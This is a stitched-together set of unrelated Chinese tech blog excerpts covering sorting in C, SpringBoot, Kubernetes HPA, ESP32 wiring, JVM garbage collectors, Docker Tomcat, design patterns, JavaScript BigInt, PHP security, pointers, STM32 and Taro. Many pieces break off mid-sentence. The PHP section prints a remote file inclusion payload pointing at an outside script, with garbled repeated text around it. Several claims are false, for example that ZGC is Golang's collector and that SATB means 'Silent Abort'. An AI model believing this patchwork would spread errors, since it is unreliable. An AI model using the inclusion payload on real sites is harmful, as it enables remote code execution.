D_MereSort(a, mid+1, right, tmp); //定义begin和end接受left和right //防止left和right改变,导致出错 int begin1 = left, end1 = mid; int begin2 = mid+1, end2 = right; //i必须有且值只能是 左侧区间的左端点 即left int i = left; //归并算法 while (begin1 <= end1 && begin2 <=end2) { if (a[begin1] < a[begin2]) { tmp[i++] = a[begin1++]; } else { tmp[i++] = a[begin2++]; } } while (begin1 <= end1) { tmp[i++] = a[begin1++]; } while (begin2 <= end2) { tmp[i++] = a[begin2++]; } int j = left; //将归并好的放回要排序的数组 for (; j<=right; j++) a[j] = tmp[j]; } //归并排序(递归) void MergeSort1(int a[], int n) { //创建临时空间,方便归并 int* tmp = (int*)malloc(sizeof(int) * n); //用于递归的函数 D_MereSort(a, 0, n - 1, tmp); //释放申请空间 free(tmp); } 一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一一

SpringBoot3整合MyBatisPlus

文章目录 一、起因二、引入依赖 一、起因 随着SpringBoot3的发布,mybatisplus也在不断更新以适配spirngboot3 。目前仍然处于维护升级阶段,最初2023.08时,官方宣布对SpringBoot3的原生支持,详情看这里。 但是对于较新版本的SpringBoot3,仍然有很多bug,甚至无法启动,摸爬滚打又游历社区后,实践后得到一套成功的版本搭配,具体如下 VersionJava17Spring Boot3.2.1Spring Cloud2023.0.0Mybatis Plus3.5.5 二、引入依赖 <dependency> <groupId>com.baomidou</groupId> <artifactId>mybatis-plus-spring-boot3-starter</artifactId> <version>3.5.5</version> </dependency> 同时官方也提供了Demo项目,详情看这里,里面使用的版本搭配如下 VersionJava17Spring Boot3.2.0Mybatis Plus3.5.5-SNAPSHOT

K8S的HPA

horiztal Pod Autoscaling:pod的水平自动伸缩,这是k8s自带的模块,它是根据Pod占用cpu比率到达一定的阀值,会触发伸缩机制 Replication controller 副本控制器:控制pod的副本数 Deployment controller 节点控制器:部署pod Hpa:控制副本的数量以及控制部署pod 如何检测 Hpa是基于kube-contrroll-manager服务,周期性的检测pod的cpu使用率,默认是30秒检测一次 如何实现 Hpa和replication controller,deployment controller,都属于k8s的资源对象,通过跟踪分析副本控制器和deployment的pod负载变化,针对性的地调整目标pod的副本数。 阀值:正常情况下,pod的副本数,以及达到阀值之后,pod的扩容最大数量 组件 Metrics-server 部署到集群中,对外提供度量的数据 [root@master01 opt]# cd k8s/ [root@master01 k8s]# ls a.yaml components.yaml metrics-server.tar [root@master01 k8s]# docker load -i metrics-server.tar [root@master01 k8s]# vim components.yaml apiVersion: v1 kind: ServiceAccount metadata: labels: k8s-app: metrics-server name: metrics-server namespace: kube-system --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: labels: k8s-app: metrics-server rbac.authorization.k8s.io/aggregate-to-admin: "true" rbac.authorization.k8s.io/aggregate-to-edit: "true" rbac.authorization.k8s.io/aggregate-to-view: "true" name: system:aggregated-metrics-reader rules: - apiGroups: - metrics.

ChatGPT目前的AI一哥

ChatGPT和文心一言是两个不同的AI助手,各自有其独特的特点和应用场景。以下是对它们在智能回复、语言准确性和知识库丰富度等方面的简要比较: 智能回复:ChatGPT是由OpenAI开发的语言模型,具有强大的自然语言处理和生成能力,可以提供富有逻辑性和连贯性的回答。文心一言则是一个基于规则和模板的AI助手,主要用于提供简短的问答和常见问题的回答。在智能回复方面,ChatGPT通常可以提供更广泛和灵活的回答。 语言准确性:ChatGPT是基于大规模语料库训练的,具有良好的语言理解和生成能力,但也可能存在一定的错误或不准确性。文心一言则是基于预定义的规则和模板,因此在语言准确性方面可能更高。 知识库丰富度:ChatGPT可以通过训练数据中的各种信息来提供回答,但其知识库是基于大规模文本数据,可能对某些特定领域的知识掌握有限。文心一言则是基于预定义的知识库和模板,可以提供特定领域的详细信息。 综上所述,对于智能回复和灵活性方面,ChatGPT可能更胜一筹。然而,在语言准确性和特定领域知识方面,文心一言可能更适合提供准确和详细的回答。选择适合的AI助手取决于具体的应用需求和使用场景。

ESP32-WROVER-DEV连接W5500实现有线网络

目的:ESP32-WROVER-DEV相机模块连接W5500模块,实现有线网络的连接。 开发环境:Arduino 2.1.1 可以实现的功能:可以使用web的ping访问,ESP32的LED IO2闪烁。 硬件连接如下图: 模块硬件的导线连接 W5500 ESP32-WROVER 导线颜色 W5500-5V 连接5V-USB 红 W5500-GND 连接GND-USB 黑 W5500-MISO 12灰 灰 W5500-MOSI 13白 白 W5500-SCS 15褐 褐 W5500-SCLK 14紫 紫 2 橙 橙 Arduino的设置 第一步:修改server代码, 修改文件: C:\Users\lenovo\AppData\Local\Arduino15\packages\esp32\hardware\esp32\2.0.9\cores\esp32\server.h. class Server: public Print { public: //virtual void begin(uint16_t port=0) =0;//20240123 yzp virtual void begin() = 0; }; 以上修改只能使用于使用ESP32和W5500实现有线以太网通讯。 第二步:针对硬件连接,匹配ESP32的IO,修改内容如下: #define SCK 14 #define MISO 12 #define MOSI 13 #define SS 15 将上面的4行定义直接添加在SPI.H文件开始部分,文件位置查看编译过程中出现的:“使用缓存库文件依赖项: C:\Users\lenovo\AppData\Local\Arduino15\packages\esp32\hardware\esp32\2.0.9\libraries\SPI\src\SPI.h”

JVM篇——G1、ZGC以及Shenandoah垃圾回收器详细介绍和底层算法展开分析,一篇文档,拿下常见经典的垃圾回收器!!!!!!

G1垃圾回收器 一、认识G1 G1(Garbage-First)是一款面向服务端应用的垃圾收集器,主要针对配备多核CPU及大容量内存的机器。G1垃圾收集器的目标是满足GC停顿时间的同时,还兼具高吞吐量的性能特征。它主要特点如下: 并行与并发:G1在回收期间,可以有多个GC线程同时工作,有效利用多核计算能力。此时用户线程可能会短暂停顿(STW)。G1拥有与应用程序交替执行的能力,部分工作可以和应用程序同时执行,因此,一般来说,不会在整个回收阶段发生完全阻塞应用程序的情况。 分代收集:从分代上看,G1依然属于分代型垃圾回收器,它会区分年轻代和老年代,年轻代依然有Eden区和Survivor区。但从堆的结构上看,它不要求整个Eden区、年轻代或者老年代都是连续的,也不再坚持固定大小和固定数量。 区域分代化(分区算法,部分回收):将堆内存分为一个一个的region,每个region可以是物理上不连续的空间。G1对region进行追踪,衡量每个region回收后的价值和回收所需时间(其实就是region回收的效率,回收后能清除较多空间的region优先级更高)。 垃圾优先:由于G1对垃圾回收的效率更加敏感,因此称G1是垃圾优先。G1有计划地避免在整个Java堆中进行全区域的垃圾收集。G1跟踪各个Region里面的垃圾堆积的价值大小(回收所获得的空间大小以及回收所需时间的经验值),在后台维护一个优先列表,每次根据允许的收集时间,优先回收价值最大的Region。 G1清理年轻代和老年代的算法: 这里需要注意:G1是物理上不分代,但是逻辑上分代的!!! 对于年轻代,G1采用复制算法。由于年轻代主要存储新创建的对象,其存活率较低,因此G1会将年轻代分为多个区域,每次只回收一部分区域,并将存活的对象复制到新的区域中,这样可以显著减少垃圾回收的停顿时间。 对于老年代,G1主要采用标记-整理算法。由于老年代存储了大量存活时间较长的对象,因此需要更复杂的算法来处理。G1会遍历所有对象,标记引用情况,清除对象后会对区域进行复制移动,以整合碎片空间。 二、G1核心思想 部分回收。 这里再介绍下Humongous: 在G1(Garbage-First)垃圾回收器中,Humongous对象是一个特殊的对象,其大小超过了某个阈值,通常是一个Region大小的50%。这种对象会被标记为Humongous,并且会被分配到老年代(Old Generation)中的一个特殊区域。如果一个Humongous对象无法被放入一个连续的H-Region中,G1会寻找一个连续的H-Region来存放该对象。如果找不到连续的H-Region,G1会启动Full GC来达到目的。 值得注意的是,如果老年代中有过多的Humongous对象,会大大增加Full GC的频率。因此,在程序中应尽量避免创建过大的对象,以减少Full GC的频率,提高程序的性能。 三、G1垃圾回收器优缺点 G1垃圾回收器的优点主要包括: (1)并行与并发:G1在回收期间,可以有多个GC线程同时工作,有效利用多核计算能力。此时用户线程可以STW。 (2)分代收集:G1依然属于分代型垃圾回收器,它会区分年轻代和老年代。从分代上看,G1同时兼顾年轻代和老年代。对比其他回收器,或者工作在年轻代,或者工作在老年代。 (3)空间整合:G1将内存划分为一个个的region。内存的回收是以region作为基本单位的。Region之间是复制算法,但整体上实际可看作是标记-压缩(Mark-Compact)算法,两种算法都可以避免内存碎片。这种特性有利于程序长时间运行,分配大对象时不会因为无法找到连续内存空间而提前触发下一次GC。尤其是当Java堆非常大的时候,G1的优势更加明显。 (4)可预测的停顿时间模型:这是G1相对于CMS的另一大优势,G1除了追求低停顿外,还能建立可预测的停顿时间模型,能让使用者明确指定在一个长度为M毫秒的时间片段内,消耗在垃圾收集上的时间不得超过N毫秒。 (5)压缩空间:G1可以避免产生内存碎片。 (6)简单配置就能达到很好的性能。 然而,G1垃圾回收器也存在一些缺点: (1)记忆集RSet会占用比较大的内存,因此不建议在小内存下使用G1,推荐至少6G。 (2)对CPU的负载可能会更大一点。 (3)由于采用复制算法,GC垃圾回收过程对象复制转移会占用较多的内存,更容易出现回收失败(Allocation (Evacuation) Failure)的问题。 (4)可能会降低吞吐量。虽然G1收集器的垃圾收集暂停时间通常要短得多,但应用程序吞吐量也往往略低一些。相当于把一次垃圾回收的工作,分开多次进行执行(主要指老年代),单次暂停的时间虽然更加可控,但是由于每次垃圾回收的空间会更少,总体来说垃圾回收的效率会更低,暂停的总时间会更长,所以吞吐量往往会略低一些。 (5)如果停顿时间过短的话,可能导致每次选出的回收集只占堆内存很小一部分,收集器收集的速度逐渐跟不上分配器的分配速度,进而导致垃圾慢慢堆积,最终造成堆空间占满,引发Full GC反而降低性能。 ZGC垃圾回收器 一、ZGC概念 ZGC是Golang的垃圾回收器 ZGC(Z Garbage Collector)是一种可扩展的低延迟垃圾收集器,主要被设计用于处理超大内存(TB级别)的垃圾回收。其核心是一个并发垃圾回收器,具有以下特性: 1、停顿时间不超过10ms。 2、停顿时间不会随着堆的大小或者活跃对象的大小而增加。 3、支持堆范围为8MB~16TB。 ZGC在JDK 11中首次以实验性的特性引入,并在JDK 15中正式投入生产使用。其设计目标是提供极致的低延迟,并且官方明确指出JDK 15中的ZGC不再是实验性质的垃圾收集器,建议投入生产使用。在JDK 16发布后,GC的暂停时间已经缩小到1ms以内,并且时间复杂度是O(1),这意味着GC的停顿时间是一个固定值,并不会受堆内存大小影响。 二、ZGC核心算法 ZGC的核心算法是并发处理算法,它利用全局空间视图的切换和对象地址视图的切换,结合STAB算法实现了高效的并发。染色指针和读屏障在ZGC中起到辅助作用,但并非其核心。 1、ZGC的并发处理算法主要通过以下方式实现: 不像G1那样再区分年轻代和老年代了,默认每100ms进行一次GC 全局空间视图的切换:ZGC初始化之后,整个内存空间的地址视图被设置为Remapped。在进入标记阶段时,视图会转变为Marked0或者Marked1。在标记阶段结束后,从标记阶段进入转移阶段时,视图再次设置为Remapped。 对象地址视图的切换:ZGC通过视图的切换和SATB(Silent Abort)算法实现并发处理。在对象的访问可能来自标记线程和应用程序线程时,ZGC会检查对象的地址视图。如果发现对象的地址视图是M0,说明对象是在进入标记阶段之后新分配的对象或者对象已经完成了标记(对象活跃),无须处理。如果发现对象的地址视图是Remapped,说明对象是前一阶段分配的,而且通过根集合可达,所以把对象的地址视图从Remapped调整为M0。 ZGC的并发处理算法利用全局空间视图的切换和对象地址视图的切换,结合SATB算法实现了高效的并发。这种算法可以在应用程序正常运行时进行垃圾回收,从而减少应用程序的停顿时间。 2、染色指针 ZGC的染色指针是一种直接将少量额外的信息存储在指针上的技术。具体来说,ZGC将其高4位提取出来存储4个标志信息,通过这些标志位,虚拟机可以直接从指针中看到其引用对象的三色标记状态(Marked0/Marked1)、是否进入了重分配集(即被移动过,Remapped)、是否只能通过finalize()方法才能访问到。由于这些标记位进一步压缩了原本就只有46位的地址空间,也直接导致ZGC能够管理的内存不可以超过4TB(2的42次方),而通过jdk13的扩展,现在ZGC可以管理的内存空间范围为(8MB-16TB,2的44次方)。 此外,染色指针技术使得ZGC在垃圾收集过程中能够大幅减少内存屏障的使用数量,设置内存屏障的目的是为了记录对象引用的变动情况。如果将这些信息直接维护在指针中,显然可以省略一些专门的记录操作。而实际上ZGC并没有使用写屏障,因为它不设分代,天然没有跨代引用的问题。 染色指针技术还使得ZGC能够改善GC过程的STW(Stop-The-World)时间。具体来说,Page内的存活对象被移走之后马上就能被释放和重用,不必等到整个堆上对该Page的引用都被修正之后才能释放和清理。这得益于染色指针的自愈(Self-Healing)特性。 总的来说,ZGC的染色指针技术是一种高效的内存管理技术,能够提高垃圾回收的效率和响应速度,减少内存屏障的使用数量,改善GC过程的STW时间。 3、读屏障 ZGC中的读屏障是一种JVM向应用代码中插入一小段代码的技术。当应用线程从堆中读取对象的引用时,会先执行这段代码。 具体来说,读屏障在解释执行时通过load相关的字节码指令加载数据。作用是在对象标记和转移过程中,判断对象的引用地址是否满足条件,并作出相应动作。读屏障会对应用程序的性能有一定影响,据测试,最多百分之4的性能损耗。但这是ZGC并发转移的基础,为了降低STW,设计者认为这点牺牲是可接受的。 在ZGC中,读屏障技术用于解决并发转移时出现指针无效的问题。当应用线程读取一个未完成转移的对象时,由于对象尚未完成转移,其指针可能无效。此时,读屏障技术确保在对象转移完成之前不会读取该对象,从而避免了指针无效的问题。 通过读屏障技术,ZGC可以在并发转移过程中实现高效的内存管理,降低STW时间,提高程序的响应速度和吞吐量。同时,由于读屏障技术的引入,ZGC也能够在不影响应用程序性能的情况下实现垃圾回收的自动管理。

compose部署tomcat

1.部署tomcat 1.1.下载相关镜像tomcat8.5.20 $ docker pull tomcat:8.5.20 1.2 在/data目录下创建tomcat/webapps目录 mkdir -p /data/tomcat/webapps 注意:这里是准备将宿主机的/data/tomcat/webapps映射到容器的 /usr/local/tomcat/webapps目录,那么在创建tomcat-0容器后, 本应该存在与webapps目录下的原生目录(例如:manager等)都 将不存在,因为映射的宿主机目录/data/tomcat/webapps为空, 所以将不能采用tomcat原有部署方式,只能将war通过rz命令上传 至宿主机的/data/tomcat/webapps目录 1.2.测试镜像 $ docker run \ -p 8080:8080 \ --name tomcat-0 \ --privileged=true \ --restart=always \ -v /soft/tomcat/webapps:/usr/local/tomcat/webapps \ -e TZ=Asia/Shanghai \ -itd tomcat:8.5.20 注1:TZ=Asia/Shanghai用于设置时区为:亚洲/上海,可进入容器用如下命令进行查看 echo `date "+%Y-%m-%d %H:%M:%S"` 注2:以上容器的创建采用的是bridge默认网络 3.上传hello.war至/data/tomcat/webapps目录 rz hello.war 将war包拖入工具中 java -jar spring.jar --server/port=8081 太麻烦了这种方式,打包放在镜像中运行 编写vim Dockerfile 4.测试crm项目 http://xx.xx.xx.xx:8080/crm/sys/loginAction.action?username=zs&password=123 tomcat-0 -> bridge默认网络 mysql -> mynetwork自定义网络 2.部署web项目 向移植docker compose 详见/docker-compose/docker-compose-v1.yml文件

《设计模式的艺术》笔记 - 中介者模式

介绍 中介者模式用一个中介对象来封装一系列的对象交互。中介者使各对象不需要显示地相互引用,从而使其耦合松散,而且可以独立地改变它们之间的交互。中介者模式又称为调停者模式,它是一种对象行为模式。 实现 myclass.h // // Created by yuwp on 2024/1/12. // #ifndef DESIGNPATTERNS_MYCLASS_H #define DESIGNPATTERNS_MYCLASS_H #include <iostream> #include <unordered_map> #include <atomic> #include <vector> #include <memory> class Mediator; class Colleague { // 抽象同事类 public: Colleague(Mediator *mMediator); virtual void method1() = 0; // 处理自己的行为 virtual void method2() = 0; // 与中介者进行通讯 protected: Mediator *m_mediator; }; class Mediator { // 抽象中介者; public: void registerColleague(Colleague *colleague); virtual void operation(Colleague *colleague) = 0; protected: std::vector<Colleague *> m_colleagues; }; class ConcreteMediator : public Mediator { // 具体中介者 public: void operation(Colleague *colleague) override; }; class ConcreteColleagueA : public Colleague { // 具体同事类A public: ConcreteColleagueA(Mediator *mediator); void method1() override; void method2() override; }; class ConcreteColleagueB : public Colleague { // 具体同事类B public: ConcreteColleagueB(Mediator *mediator); void method1() override; void method2() override; }; #endif //DESIGNPATTERNS_MYCLASS_H myclass.

[译]BigInt:JavaScript 中的任意精度整型

BigInt:JavaScript 中的任意精度整型 BigInt 是 JavaScript 的一种新的数值原始类型,它可以用来表示任意精度的整数值。有了 BigInt 后,我们可以安全放心地保存和操作整数值了,即便是那些超出了 Number 的“安全整数”范围的值。本文会介绍一些关于它的使用场景,除此之外还会通过对比 Number 来介绍一些在 Chrome 67 中新引入的功能。 使用场景 如果 JavaScript 拥有了任意精度的整数,那么它将为我们解锁许多应用场景。 BigInt 可以为我们正确地执行整数运算,不会有数值溢出的问题。光这一点就可以为我们带来无数的新的可能。尤其在金融技术领域,大数值的数学运算是经常会用到的,例如: 在 JavaScript 中,Number 是无法安全地用来表示“超大的整数形式的 ID“和“高精度时间戳“的。所以经常会导致实实在在的现实中的问题,最后开发人员都被迫改为使用 string 来表示。在有了 BigInt后,这些数据就可以以数字值来表示了。 BigInt 还可以用来作为 BigDecimal 的一种实现。这对于带有小数的金额的求和及运算会非常有用(这里指的就是那个熟知的 0.10 + 0.20 !== 0.30 问题)。 在这之前,涉及到这些应用场景的 JavaScript 应用程序都得寻求可以模拟 BigInt 功能的那些用户自己实现的第三方库的帮助。而在 BigInt 得到广泛支持之后,这样的应用程序就可以丢弃这些运行时的依赖了(译:即第三方库)。这可以帮助我们减少加载时间、解析时间,以及编译时间,而且也可以为我们带来明显的运行时性能的提升。 从上图我们可以看出,Chrome 本地的 BigInt 性能优于流行的第三方库。 如果要对 BigInt 做“垫片(Polyfilling)”处理,需要有一个实现了相同功能的运行时库,以及一个可以将新式语法转换成对这个库的 API 的调用的转换步骤。目前 Babel 已经通过一个插件实现了对 BigInt 字面量解析(literal)的支持,但还不支持语法的转换。因此现在我们还不建议将 BigInt 投入到那些对跨浏览器兼容性有广泛支持要求的生产环境中。虽然现在还是开始阶段,不过它的功能已经开始在各家浏览器中布局了。相信对 BigInt 广泛支持的时刻应该不久就会到来。 Number 的现状 Number 在 JavaScript 中被用于表示双精度浮点类型的值。 这就意味着它存在精度上的局限。Number.

PHP网站常见一些安全漏洞及防御方法_php

一、常见PHP网站安全漏洞 对于PHP的漏洞,目前常见的漏洞有五种。分别是Session文件漏洞、SQL注入漏洞、脚本命令执行漏洞、全局变量漏洞和文件漏洞。这里分别对这些漏洞进行简要的介绍。 1、session文件漏洞 Session攻击是黑客最常用到的攻击手段之一。当一个用户访问某一个网站时,为了免客户每进人一个页面都要输人账号和密码,PHP设置了Session和Cookie用于方便用户的使用和访向。 2、SQL注入漏洞 在进行网站开发的时候,程序员由于对用户输人数据缺乏全面判断或者过滤不严导致服务器执行一些恶意信息,比如用户信息查询等。黑客可以根据恶意程序返回的结果获取相应的信息。这就是月行胃的SQL注入漏洞。 3、脚本执行漏洞 脚本执行漏洞常见的原因是由于程序员在开发网站时对用户提交的URL参数过滤较少引起的,用户提交的URL可能包含恶意代码导致跨站脚本攻击。脚本执行漏洞在以前的PHP网站中经常存在,但是随着PHP版本的升级,这些间题已经减少或者不存在了。 4、全局变量漏洞 PHP中的变量在使用的时候不像其他开发语言那样需要事先声明,PHP中的变量可以不经声明就直接使用,使用的时候系统自动创建,而且也不需要对变 量类型进行说明,系统会自动根据上下文环境自动确定变量类型。这种方式可以大大减少程序员编程中出错的概率,使用起来非常的方便。 5、文件漏洞 文件漏洞通常是由于网站开发者在进行网站设计时对外部提供的数据缺乏充分的过滤导致黑客利用其中的漏洞在Web进程上执行相应的命令。假如在 lsm.php中包含这样一段代码:include( b . ” / a a a . p h p ” . ) ,这对黑客来说,可以通过变量 b.”/aaa.php”.),这对黑客来说,可以通过变量 b.”/aaa.php”.),这对黑客来说,可以通过变量b来实现远程攻击,可以是黑客自已的 代码,用来实现对网站的攻击。可以向服务器提交a.php include=http://lZ7.0.0. 1/b.php,然后执行b.php的指令。 二、PHP常见漏洞的防范措施 1、对于Session漏洞的防范 从前面的分析可以知道,Session攻击最常见的就是会话劫持,也就是黑客通过各种攻击手段获取用户的Session ID,然后利用被攻击用户的身份来登录相应网站。为此,这里可以用以下几种方法进行防范:一是定期更换Session ID,更换Session ID可以用PHP自带函数来实现;二是更换Session名称,通常情况下Session的默认名称是PHPSESSID,这个变量一般是在cookie 中保存的,如果更改了它的名称,就可以阻档黑客的部分攻击;三是对透明化的Session ID进行关闭处理,所谓透明化也就是指在http请求没有使用cookies来制定Session id时,Sessioin id使用链接来传递.关闭透明化Session ID可以通过操作PHP.ini文件来实现;四是通过URL传递隐藏参数,这样可以确保即使黑客获取了session数据,但是由于相关参数是隐藏的,它 也很难获得Session ID变量值。 2、对SQL注入漏洞的防范 黑客进行SQL注入手段很多,而且灵活多变,但是SQL注人的共同点就是利用输入过滤漏洞。因此,要想从根本上防止SQL注入,根本解决措施就是加 强对请求命令尤其是查询请求命令的过滤。具体来说,包括以下几点:一是把过滤性语句进行参数化处理,也就是通过参数化语句实现用户信息的输入而不是直接把 用户输入嵌入到语句中。二是在网站开发的时候尽可能少用解释性程序,黑客经常通过这种手段来执行非法命令;三是在网站开发时尽可能避免网站出现bug,否 则黑客可能利用这些信息来攻击网站;仅仅通过防御SQL注入还是不够的,另外还要经常使用专业的漏洞扫描工具对网站进行漏洞扫描。 3、对脚本执行漏洞的防范 黑客利用脚本执行漏洞进行攻击的手段是多种多样的,而且是灵活多变的,对此,必须要采用多种防范方法综合的手段,才能有效防止黑客对脚本执行漏洞进 行攻击。这里常用的方法方法有以下四种。一是对可执行文件的路径进行预先设定。可以通过safe_moade_exec_dir来实现;二是对命令参数进 行处理,一般用escapeshellarg函数实现;三是用系统自带的函数库来代替外部命令;四是在操作的时候进可能减少使用外部命令。 4、对全局变量漏洞防范 对于PHP全局变量的漏洞问题,以前的PHP版本存在这样的问题,但是随着PHP版本升级到5.5以后,可以通过对php.ini的设置来实现,设置ruquest_order为GPC。另外在php.ini配置文件中,可以通过对Magic_quotes_runtime 进行布尔值设置是否对外部引人的数据中的溢出字符加反斜线。为了确保网站程序在服务器的任何设置状态下都能运行。可以在整个程序开始的时候用 get_magic_quotes_runtime检测设置状态决定是否要手工处理,或者在开始(或不需要自动转义的时候)用 set_magic_quotes_runtime(0)关掉。 5、对文件漏洞的防范 对于PHP文件漏桐可以通过对服务器进行设置和配置来达到防范目的。这里具体的操作如下:一是把PHP代码中的错误提示关闭,这样可以避免黑客通过 错误提示获取数据库信息和网页文件物理路径;二是对open_basedir尽心设置,也就是对目录外的文件操作进行禁止处理;这样可以对本地文件或者远 程文件起到保护作用,防止它们被攻击,这里还要注意防范Session文件和上载文件的攻击;三是把safe-made设置为开启状态,从而对将要执行的 命令进行规范,通过禁止文件上传,可以有效的提高PHP网站的安全系数。 建议 多看书 阅读永远是最有效的方法,尽管书籍并不一定是最好的入门方式,但书籍的理解需要一定的基础;但是就目前来看,书籍是比较靠谱的入门资料。

C语言指针详解

指针 1:c语言中指针的应用场景 2:指针简介 指针是一种用于存储和处理内存地址的变量类型。在计算机编程中,指针可以存储其他变量的内存地址,以便在程序中间接地访问和操作这些变量。通过指针,程序可以动态地分配和释放内存,实现数据结构的灵活应用,以及在函数之间传递参数和引用。指针在C、C++、C#、Java等编程语言中都有相应的概念和用法。指针的正确使用对于高效的内存管理和数据处理非常重要,但也容易引起一些问题,例如内存泄漏和悬挂指针等。因此,使用指针需要小心谨慎 3:计算机的存储机制 计算机是以字节为单位,每一个字节对应一个存储地址,数据的存储方式有大端储存和小端存储 计算机的存储机制包括主存储器(RAM)和辅助存储器(硬盘、固态硬盘、光盘等)。主存储器是计算机用于存储程序和数据的主要地方,它是易失性存储器,意味着在断电后数据会丢失。主存储器以字节为单位存储数据,并通过唯一的地址来定位每个存储单元。辅助存储器通常用于长期存储数据,它相对主存储器拥有更大的容量,是非易失性存储器,数据在断电后不会丢失。计算机通过内存管理单元(MMU)来管理主存储器和辅助存储器之间的数据交换,以及内存的分配和释放。 计算机中不同数据类型所占用的字节数 在C语言中,不同的数据类型所占用的字节数是有标准规定的,但也受到编译器和操作系统的影响。以下是一般情况下不同数据类型在32位系统中所占用的字节数: char: 1字节int: 4字节short: 2字节long: 4字节long long: 8字节float: 4字节double: 8字节long double: 12字节(最常见)或8字节 需要注意的是,这只是一般情况下占用字节数,实际情况会因编译器和操作系统的不同而有所变化。另外,随着计算机技术的发展,也可能出现一些特殊情况下的数据类型,其占用字节数可能有所不同。 4:指针的定义 指针变量的定义 int a ; // 定义的是一个int类型的变量 int *p // 定义的是指向int类型数据的指针变量 5:指针的存储方式 指针的存储示意图 6:指针的操作 指针中数据的++和数据的--都是以指针指向的数据类型的宽度为依据的,但是如果把指针移动到没有定义的数据的位置会出现数组下标越界导致程序报错。 7:指针和数组的关系 malloc的用法主要是在堆内存中开辟一块内存空间(这种开辟方式是动态的) 在C语言中,malloc()函数用于动态分配内存空间。它的用法如下: c void *malloc(size_t size); 其中,size表示要分配的内存空间的字节数,malloc()函数返回一个指向该内存空间起始地址的指针。如果分配成功,返回的指针指向一块连续的、大小为size字节的内存空间;如果分配失败,则返回NULL。 使用malloc()函数可以在程序运行时动态地分配内存空间,这在需要根据程序运行时的实际情况来动态分配内存空间的情况下非常有用。例如,当需要存储不确定数量的数据时,可以使用malloc()函数来分配足够的内存空间。 使用malloc()函数分配内存后,在不再需要这块内存空间时,需要使用free()函数来释放该内存空间,以防止内存泄漏。 c free(pointer); 其中,pointer是一个指向使用malloc()分配的内存空间的指针。通过调用free()函数,可以将该内存空间释放,使其可供其他部分使用。 具体的代码块如下所示 #include<stdio.h> #include<stdlib.h> int main() { char a[] = { 0x33,0x34,0x35,0x35,0x36,0x37,0x38}; /* * 1:在c语言中使用malloc函数开辟内存空间, malloc开辟的内存空间是在堆内存上采用动态开辟的方式 * 2: 这个数组实现的功能和上面的数组是一样的 int *a = malloc(3 * 4); *a = 0x33; *(a + 1) = 0x34; *(a + 2) = 0x35; */ // 获取数组的长度 int len = sizeof(a) / sizeof(a[0]); int i; for (i = 0; i < len; i++) { printf("

STM32-GPIO输出(HAL库)

STM32-GPIO 介绍 什么是GPIO? GPIO(通用输入/输出)是一种用于与外部设备进行数字通信的通用硬件接口。它允许微控制器或其他数字电路的引脚以灵活的方式配置为输入或输出,并在运行时进行动态控制。GPIO可用于连接和控制各种外围设备,如LED、按钮、传感器、显示器、通信设备等。 GPIO模式 GPIO引脚的工作可以配置为输入还是输出,以及其他相关的特性。STM32微控制器提供了多个寄存器来配置每个GPIO引脚的工作模式,包括MODER(模式寄存器)、OTYPER(输出类型寄存器)、OSPEEDR(输出速度寄存器)、PUPDR(上拉/下拉寄存器)等。 以STM32F407为例,它的5 V 容忍 I/O 端口位的基本结构如下 以下是STM32的GPIO引脚的几种基本模式: 输入模式 (Input Mode): Analog Mode(模拟模式): 用于连接模拟传感器。Floating Input(浮空输入): 没有内部上拉或下拉电阻,需要外部电路提供电平。Pull-up / Pull-down(上拉/下拉输入): 配置内部上拉或下拉电阻,用于消除浮空输入的不确定性。 输出模式 (Output Mode): Push-Pull Output(推挽输出): 可以提供高电平和低电平输出。Open-Drain Output(开漏输出): 用于连接多个设备,需要外部上拉电阻来提供高电平。Push-Pull with Pull-up/Pull-down(推挽输出带上拉/下拉): 输出高电平或低电平时,同时配置上拉或下拉电阻。 常用API 在使用STM32的HAL库进行GPIO输入输出配置时,主要使用的API包括HAL_GPIO_Init、HAL_GPIO_DeInit、HAL_GPIO_WritePin、HAL_GPIO_ReadPin等。 HAL_GPIO_Init函数: HAL_StatusTypeDef HAL_GPIO_Init(GPIO_TypeDef* GPIOx, GPIO_InitTypeDef* GPIO_Init); 用于初始化指定的GPIO引脚。其中,GPIOx是指定的GPIO端口(如GPIOA、GPIOB等),GPIO_Init是一个结构体,包含了GPIO引脚的配置信息(如模式、速度、上拉下拉等)。 例如,将PA5配置为推挽输出: GPIO_InitTypeDef GPIO_InitStruct = {0}; GPIO_InitStruct.Pin = GPIO_PIN_5; GPIO_InitStruct.Mode = GPIO_MODE_OUTPUT_PP; // 推挽输出 GPIO_InitStruct.Speed = GPIO_SPEED_FREQ_MEDIUM; HAL_GPIO_Init(GPIOA, &GPIO_InitStruct); HAL_GPIO_DeInit函数: void HAL_GPIO_DeInit(GPIO_TypeDef* GPIOx, uint32_t GPIO_Pin); 用于反初始化指定的GPIO引脚。其中,GPIOx是指定的GPIO端口,GPIO_Pin是指定的GPIO引脚。 例如,反初始化PA5引脚:

基于taro搭建小程序多项目框架

前言 为什么需要这样一个框架,以及这个框架带来的好处是什么? 从字面意思上理解:该框架可以用来同时管理多个小程序,并且可以抽离公用组件或业务逻辑供各个小程序使用。当你工作中面临这种同时维护多个小程序的业务场景时,可以考虑使用这种模式。灵感来自最近webpack的多项目打包构建 起步 首先你得先安装好taro脚手架,然后基于该脚手架生成一个taro项目 初始化taro项目 taro init miniApp 这是我选择的初始化配置,你当然也可以选择其它模版,只要编译工具选择webpack就可以,下面的步骤基本相同 打开项目安装依赖 pnpm install 这样一个基本的taro项目就生成好了,但这样只是生成了一个小程序,那我们如果有许多个小程序是不是还要按上面这些步骤继续生成,当然不需要,这样不仅费时间,而且难以维护。 下面我们就来把这个框架改造成支持同时管理多个小程序。 改造(支持多小程序) 此时的项目结构是这样的: config下面是一些小程序以及webpack的配置 src下面是我们小程序的项目代码 project.config.json是当前小程序配置文件 ... 改造目录 在src目录下新增目录:apps、common apps:小程序目录,存放各个小程序的代码 common:公用目录,存放公用组件及业务逻辑代码 apps 这里每个小程序对应一个文件夹,里面存放对应小程序的代码 这里需要把根目录下的project.config.json放到小程序目录下,因为每个小程序都需要自己的配置文件 比如:nanjiu、nanjiu_notebook两个小程序 common 这里主要是存放公用代码:组件、业务、请求 修改配置 config/index.js import path from 'path' const app = process.env.APP const config = { projectName: 'mini_app', date: '2024-1-21', designWidth: 750, deviceRatio: { 640: 2.34 / 2, 750: 1, 828: 1.81 / 2 }, sourceRoot: `src/apps/${app}`, // 项目源码目录 outputRoot: `${app.

python通过Keep-Alive保持IP不变,向多个页面发出请求,通过多线程实现并发控制

